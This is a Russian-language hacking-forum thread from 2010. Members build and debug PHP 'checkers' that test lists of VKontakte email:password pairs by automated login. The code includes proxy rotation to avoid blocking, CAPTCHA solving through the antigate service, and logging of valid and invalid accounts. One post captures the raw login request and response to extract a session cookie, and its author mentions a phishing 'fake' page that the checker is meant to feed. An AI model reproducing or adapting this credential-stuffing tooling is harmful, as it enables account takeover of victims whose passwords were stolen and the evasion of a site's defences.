Просмотр полной версии : чекер аккаунтов вконтакте
SkyLine32
19.03.2010, 01:15
Уважаемые кодеры!
Вот я тут пытался сделать чекер акков вконтакте, но так как у меня мало опыта в php естественно многое не получается. :))
Вот скрипт, суть такая. Забиваем акки в textarea, далее Send и скрипт выводит валидные акки. Но в моём скрипте максимум проверяется только один аккаунт, далее пишет:
Cannot redeclare curl()
Помогите разобраться!
<form method="post" />
<textarea cols=80 rows=18 name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form>
<?php
if(isset($_POST['akki-list'])) {
foreach(explode("\n",$_POST['akki-list']) as $line)
{
$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);
function curl($url,$post)
{
$cfile = 'cheker-cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.0.4");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
$proxy="ip:port";
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{ $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo "$email:$pass - ok<br />";
else
echo "$email<br>$pass - bad";
unlink('cheker-cookies.txt');
}
}
?>
SkyLine32 Объявление функции сделайте вне цикла
SkyLine32
19.03.2010, 02:06
SkyLine32 Объявление функции сделайте вне цикла
помогло спасибо! Только теперь появилась новая проблема, все аккаунты пишет что валидные, хотя для теста забивал в textarea и не рабочие...
SkyLine32
19.03.2010, 04:04
<form method="post" />
<textarea cols="80" rows="18" name="akki-list">
</textarea>
<br />
<input type="submit" value=" Send " />
</form>
<?php
if(isset($_POST['akki-list'])) {
function curl($url,$post)
{
$cfile = 'cheker-cookies.txt';
$ch = curl_init();
curl_setopt($ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6");
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 1);
$proxy="ip:port";
curl_setopt($ch, CURLOPT_PROXY, $proxy);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cfile);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cfile);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_POST, 1);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
foreach(explode("\n",$_POST['akki-list']) as $line)
{
$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{ $result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo "$email:$pass - ok<br />";
else
echo "$email:$pass - bad<br />";
unlink('cheker-cookies.txt');
}
}
?>
Ну вот в принципе рабочий чекер на php. Но только работает странно. Раз работает, другой раз не работает... Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
SkyLine32
19.03.2010, 23:50
Что никто не знает как решить данную задачу?
Может ли сайт вконтакте блокировать прокси при частой проверки паролей на валидность? Если да, то как это можно обойти?
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...
Что никто не знает как решить данную задачу?
Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?
SkyLine32
20.03.2010, 01:33
Эта фраза убивает, тут где-то написано что тебе ОБЯЗАНЫ помогать, и если не ответили можно расценивать как незнание решения твоей проблемы ?
Ну всё же я попросил совета а не сказал что мне все тут ОБЯЗАНЫ помогать... А я почти сутки сижу и в надежде на совет :D Ну слава богу хоть ты мне кое что посоветовал...
Ты бы ротацию проксей прикрутил, в добавок проверок на работоспособность прокси, таймауты...
Ротация прокси это имеется ввиду их смена?
А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
Ротация прокси это имеется ввиду их смена?
Да, если к примеру вылезла капча, меняеш проксю, или если нет конекта к вкантакту (прокси мертвая). Также добавь проверку по curl_errno если ответ >0 значит нужно менять проксю.
А таймаут это время между каждой проверкой 1 аккаунта? Если да то какое время нужно поставить?
Это curl_setopt($ch, CURLOPT_TIMEOUT, 10); чтоб не ждать по минуте при медленной проксе.
Наверное надо как то так:
<?
set_time_limit(0);
require_once 'config.ini';
function recognize($filename, $apikey, $is_verbose = true, $rtimeout = 5, $mtimeout = 120, $is_phrase = 0, $is_regsense = 0, $is_numeric = 0, $min_len = 0, $max_len = 0)
{
if (!file_exists($filename))
{
if ($is_verbose) echo "file $filename not found\n";
return false;
}
$postdata = array(
'method' => 'post',
'key' => $apikey,
'file' => '@'.$filename, //полный путь к файлу
'phrase' => $is_phrase,
'regsense' => $is_regsense,
'numeric' => $is_numeric,
'min_len' => $min_len,
'max_len' => $max_len,
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'http://www.antigate.com/in.php');
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 60);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $postdata);
$result = curl_exec($ch);
if (curl_errno($ch))
{
if ($is_verbose) echo "CURL returned error: ".curl_error($ch)."\n";
return false;
}
curl_close($ch);
if (strpos($result, "ERROR")!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
else
{
$ex = explode("|", $result);
$captcha_id = $ex[1];
if ($is_verbose) echo "captcha sent, got captcha ID $captcha_id\n";
$waittime = 0;
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
while(true)
{
$result = file_get_contents('http://antigate.com/res.php?key='.$apikey.'&action=get&id='.$captcha_id);
if (strpos($result, 'ERROR')!==false)
{
if ($is_verbose) echo "server returned error: $result\n";
return false;
}
if ($result=="CAPCHA_NOT_READY")
{
if ($is_verbose) echo "captcha is not ready yet\n";
$waittime += $rtimeout;
if ($waittime>$mtimeout)
{
if ($is_verbose) echo "timelimit ($mtimeout) hit\n";
break;
}
if ($is_verbose) echo "waiting for $rtimeout seconds\n";
sleep($rtimeout);
}
else
{
$ex = explode('|', $result);
if (trim($ex[0])=='OK') return trim($ex[1]);
}
}
return false;
}
}
function GetList($filename){
if(!file_exists($filename)||filesize($filename)==0 )return -1;
$handle = fopen($filename,'r');
$source = fread($handle,filesize($filename));
fclose($handle);
$source = str_replace(array("\r","\t"),"",$source);
$source = explode("\n",$source);
return $source;
}
function ToLog($str)
{
global $log_handle;
fwrite($log_handle,$str);
echo $str;
flush();
}
function Login($login,$password)
{
$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://vkontakte.ru/login.php');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS, 'op=a_login_attempt');
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
if(strstr($source,'Enter code')){
global $use_AC,$captcha_file;
if($use_AC)
{
preg_match('|\{"ok":-2,"captcha_sid":"(\d+)","text":"Enter code"\}|', $source, $cid);
$img = fopen($captcha_file,"w");
fwrite($img,file_get_contents("http://vkontakte.ru/captcha.php?s=1&sid=$cid[1]"));
fclose($img);
$captcha_code=recognize($captcha_file,$AC_key,fals e);
$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://vkontakte.ru/login.php');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS, "op=a_login_attempt&captcha_sid=$cid[1]&captcha_key=$captcha_code");
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
return array('captcha_block',null);
}
else
return array('captcha_block',null);
}
$init = curl_init();
curl_setopt($init, CURLOPT_URL, 'http://login.vk.com/?act=login');
curl_setopt($init, CURLOPT_POST, 1);
curl_setopt($init, CURLOPT_TIMEOUT, 15);
curl_setopt($init, CURLOPT_POSTFIELDS,'email='.$login.'&pass='.$password.'&expire=&vk=');
curl_setopt($init, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($init, CURLOPT_HEADER, 1);
curl_setopt($init, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.6) Gecko/2009011913 Firefox/3.0.6');
$source = curl_exec($init);
curl_close($init);
if(preg_match('|<input type=\'hidden\' name=\'s\' id=\'s\' value=\'(\w+)\' />|', $source, $rsid))
return array('valid',$rsid[1]);
else
return array('invalid',null);
}
$log_handle = fopen($log_file,"a+");
$good_handle = fopen($good_file,"a+");
$bad_handle = fopen($bad_file,"a+");
$accounts = GetList($vk_accs);
if($accounts==-1)
die("\r\n file accounts not found or clean \r\n");
$val_acc = (count($accounts)-1);
for($i=0;$i<=$val_acc;$i++)
{
if($accounts[$i]=='')
continue;
list($mail,$pass) = explode($delimeter,$accounts[$i]);
$res = Login($mail,$pass);
switch($res[0])
{
case 'captcha_block':
if(!$use_AC){
ToLog("$mail$delimeter$pass [captcha block]\r\n");
}
else
$i--;
break;
case 'valid':
ToLog("$mail$delimeter$pass [valid!]\r\n");
fwrite($good_handle,"$mail$delimeter$pass\r\n");
break;
case 'invalid':
ToLog("$mail$delimeter$pass [invalid]\r\n");
fwrite($bad_handle,"$mail$delimeter$pass\r\n");
break;
}
}
fclose($log_handle);
fclose($good_handle);
fclose($bad_handle);
?>
SkyLine32
22.03.2010, 22:33
Вроде чекает норм, для меня для начинающего в области php сойдёт :D
Всем спасибо за помощь!
<!DOCTYPE html PUBLIC '-//W3C//DTD XHTML 1.0 Transitional//EN'
'http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd'>
<html xmlns='http://www.w3.org/1999/xhtml'>
<head>
<title>чекер вконтакте</title>
<style type='text/css' media='all'>
body,html {
background:#004243;
font-family: verdana;
font-size:10px;
color:#2D8AB9;
}
textarea {
background:#008A8C;
font-family: verdana;
font-size:10px;
color: #FFFFFF;
}
#ok {
color: #00A437;
font-family: Verdana;
font-size: 10px;
background-color: #111;
border-color: #002E3B;
cursor:pointer;
}
</style>
</head>
<body>
<form method="post" />
<textarea cols="100" rows="25" name="akki-list">
</textarea>
<br /><br />
<input type="submit" value=" Send " id='ok' />
</form>
<form action="http://best.vg/" method="post" />
<input type="submit" value=" © " id='ok' />
</form>
<?php
set_time_limit(0);
$cookies = 'cookies.txt';
if(isset($_POST['akki-list']))
{
function curl($url,$post)
{
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_COOKIEJAR, $cookies);
curl_setopt($ch, CURLOPT_COOKIEFILE, $cookies);
curl_setopt($ch, CURLOPT_HEADER, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post);
curl_setopt($ch, CURLOPT_USERAGENT, 'Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.0.4) Gecko/2008102920 AdCentriaIM/1.7 Firefox/3.6');
@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_PROXY, $proxy.':'.$port);
//curl_setopt($ch, CURLOPT_TIMEOUT, 10);
$result = curl_exec($ch);
curl_close($ch);
return $result;
};
foreach(explode("\n",$_POST['akki-list']) as $line)
{
$pos = strpos($line, ':');
$email = substr($line, 0, $pos);
$pos2 = strpos($line, ':');
$pass = substr($line, $pos2);
$pass = @ereg_replace(":", "", $pass);
$file = file('proxy.txt');
$prox = explode(':', $file[0]);
$proxy = $prox['0'];
$port = $prox['1'];
$newp = str_replace($proxy.':'.$port, '', file_get_contents('proxy.txt'));
if($prf = fopen('proxy.txt', 'w+'))
{
fwrite($prf, $newp);
fclose($prf);
$result = curl('http://vkontakte.ru/','');
if(strstr($result,'<title>В Контакте | Добро пожаловать</title>'))
{
$result = curl("http://vkontakte.ru/login.php","email=$email&pass=$pass");
}
if (preg_match('#(это Вы)(.*)#iU',$result,$avtoriz))
echo "<font color=green>$email:$pass - ok - $proxy:$port</font><br />";
else
echo "<font color=red>$email:$pass - bad - $proxy:$port</font><br />";
}
else {echo 'хз';}
}
}
?>
норм. но жаль что не ехе...
SkyLine32
22.03.2010, 22:50
норм. но жаль что не ехе...
ну если подаждёшь с недельку, может смогу на delphi написать :D
Fatal error: Call to undefined function curl_init() in C:\Local\xampp\htdocs\chek.php on line 47
xampp не поддерживает curl ?
SkyLine32
22.03.2010, 23:02
xampp не поддерживает curl ?
Видимо нет, проверь
<?php
phpinfo();
?>
Deathdreams
23.03.2010, 00:32
xampp не поддерживает curl ?
а что, непонятно ?
нужно раскомментировать расширение curl в php.ini
100500 раз поднимали этот вопрос
SkyLine32
23.03.2010, 00:49
ну и соответственно иметь файлик php_curl.dll в \ext ну или где то там...xampp вообще не разу не юзал...
Deathdreams спасибо.
Все акки, кидает в невалид. :confused:
SkyLine32
23.03.2010, 00:59
Deathdreams спасибо.
Все акки, кидает в невалид. :confused:
Короче суть такая... Сколько ты аккаунтов хочешь прочекать - столько у тебя должно быть рабочих прокси! На каждый аккаунт берётся по 1й прокси.
SkyLine32 ты сам то скрипт проверял?
SkyLine32
23.03.2010, 01:04
SkyLine32 ты сам то скрипт проверял?
ну как бы делал для себя... может и есть косяки, но я в php ещё не очень шарю, если ты шаришь нормально, доведи до ума скрипт и выложи сюда - люди оценят :)
В моём посте поддерживается curl
Вроде чекает норм, для меня для начинающего в области php сойдёт :D
Всем спасибо за помощь!
а как ты узнаёшь что проксик подходит для ВК? :confused:
надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков
taxpayer
25.03.2010, 15:14
а как ты узнаёшь что проксик подходит для ВК? :confused: надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков
а код или содержимое ответа смотреть что запрещает? + библиотека курл должна возбуждать исключения при проблемах с коннектом
SkyLine32
25.03.2010, 15:35
а как ты узнаёшь что проксик подходит для ВК? :confused:
надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков
Собственно никак... Сперва проверяю прокси на валидность, если работаю то вбиваю в скрипт... А что есть прокси (даже если они работаю нормально) которые вконтаке игнорирует их?
taxpayer
25.03.2010, 15:46
Объясните пожалуйста, зачем делать предварительный чек, вместо того, чтобы сразу юзать сокс?
У меня еще вопрос,можно ли как-нить через без курла сделать?
для фейка.
я с сокс не работал. есть некоторые проксики которые норм пингуются но на контакт и на другие сайты не получается зайти показывает страничку самих проксиков.
taxpayer
26.03.2010, 01:00
есть некоторые проксики которые норм пингуются но на контакт и на другие сайты не получается зайти показывает страничку самих проксиков.
Что тебе мешает обрабатывать эти ответы без предварительного чека прокси-серверов?
С предварительным чеком прокси ты выполняешь две идентичных операции, если брать во внимание и незабаненные вконтактом сервера.
не я не то имел в виду. =)
вот это я и имел в виду обрабатывать.если в ответе от проксика нету необходимого куск кода то менять проксик.
taxpayer
26.03.2010, 01:22
надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков
----
вот это я и имел в виду обрабатывать.
похоже, что именно это ты и НЕ имел ввиду. не надо мутить никакого прокси чека, всё отсеивание прокси, соксов реализуется сразу, конкретно при чеке аккаунтов
*ИЗМЕНЕННО* (немножко накосячил,сори)
Ну в общем курл для меня возможен, но Я хочу найти альтернативные варианты.
В общем сейчас немного поигрался с авторизацией через pda.vkontakte.ru.
И вот что обнаружил.
Если обратиться напрямую к
login.vk.com c вот таким запросом
POST /?act=login&to=&from_host=pda.vkontakte.ru&pda=1 HTTP/1.1
Host: login.vk.com
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 WebMoney Advisor FirePHP/0.4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: ru,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1251,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Content-Type: application/x-www-form-urlencoded
Content-Length: 33
email=МЫЛО&pass=ПАРОЛЬ
То при правильной паре пасс:логин получаем
HTTP/1.1 200 OK
Server: nginx/0.7.59
Date: Thu, 25 Mar 2010 21:07:12 GMT
Content-Type: text/html; charset=windows-1251
Connection: keep-alive
X-Powered-By: PHP/5.2.6-1+lenny3
Pragma: no-cache
Cache-control: no-store
Set-Cookie: remixchk=5; expires=Mon, 21-Mar-2011 12:38:20 GMT; path=/; domain=.vkontakte.ru
P3P: CP="IDC DSP COR ADM DEVi TAIi PSA PSD IVAi IVDi CONi HIS OUR IND CNT"
Set-Cookie: l=значение; expires=Thu, 17-Mar-2011 14:33:37 GMT; path=/; domain=login.vk.com
Set-Cookie: p=значение; expires=Sat, 26-Mar-2011 05:24:20 GMT; path=/; domain=login.vk.com
Content-Encoding: gzip
Vary: Accept-Encoding
Content-Length: 390
<html>
<head>
<meta http-equiv='content-type' content='text/html; charset=windows-1251' />
</head>
<body onload="document.getElementById('l').submit();">
<form id='l' method='post' action='http://pda.vkontakte.ru/login'>
<input type='hidden' name='s' id='s' value='значение' />
<input type='hidden' name='op' id='op' value='slogin' />
<input type='hidden' name='redirect' id='redirect' value='1' />
<input type='hidden' name='expire' id='expire' value='0' />
<input type='hidden' name='to' id='to' value='' /><noscript><input type="submit" value="Продолжить"/></noscript>
</form>
</body>
</html>
В общем знания по программированию на PHP прямо сейчас не позволяют мне написать программы.
У меня вопрос к людям по опытнее:
Как получить и обработать при помощи PHP куку L?
P.S. после изменения вообще потерлся смысл поста,но удалять не охота может кому пригодится!
taxpayer
26.03.2010, 01:40
ZnikiR, бесплатно помогу научиться пользоваться документацией за 24 часа, по регекспам в том числе
Ну ты хотя бы скажи при помощи какой функции принять ответ можно от сервака,чтобы можно было потом выделить куку,дальше сам попытаюсь разобраться!
taxpayer
26.03.2010, 02:08
Ну в общем курл для меня возможен
------
хотя бы скажи при помощи какой функции принять ответ можно от сервака
интересно каким образом это для тебя курл возможен)
Хостинг поддерживает.
Но это платный хостинг,а у меня еще есть простой фейк на бесплатном хостинг,вот для него бы чекер при конекте намутить шикарно бы было.
Плюс у меня на этом хосте ip стат,так что думаю буду на нем юзать курл без прокси.
taxpayer
26.03.2010, 02:30
Плюс у меня на этом хосте ip стат,так что думаю буду на нем юзать курл без прокси.
Вообще рациональной идеи не уловил
Что касается софта, что тебе мешает юзать курл?
2 taxpayer
Кончай оффтоп,есть ася для этого!
ЕСТЬ ли СПОСОБЫ (без использования cUrl) прочитать ответ от сервера,чтобы было можно распознать значение кук?
taxpayer
26.03.2010, 03:08
Сокеты, какие-нибудь стандартные либы пхп
SkyLine32
26.03.2010, 11:11
Плюс у меня на этом хосте ip стат,так что думаю буду на нем юзать курл без прокси.
Ну во первых контакт игнорирует многие хосты, во вторых контакт тебя забанит сразу если не будешь юзать прокси.
Как получить и обработать при помощи PHP куку
Напиши в аську, попробуем чё нить сделать...
похоже, что именно это ты и НЕ имел ввиду. не надо мутить никакого прокси чека, всё отсеивание прокси, соксов реализуется сразу, конкретно при чеке аккаунтов
только ты меня непонял. Делай выводы. ;)
taxpayer
26.03.2010, 16:04
надо сначала мутить прокси чек чтоб контакт норм с ним работал а потом уже чек акков
не надо мутить никакого прокси чека, всё отсеивание прокси, соксов реализуется сразу, конкретно при чеке аккаунтов
dr.Web, что я не понял? :)
dr.Web, что я не понял? :)
непонял что я имел в виду.
vBulletin® v3.8.14, Copyright ©2000-2026, vBulletin Solutions, Inc. Перевод: zCarot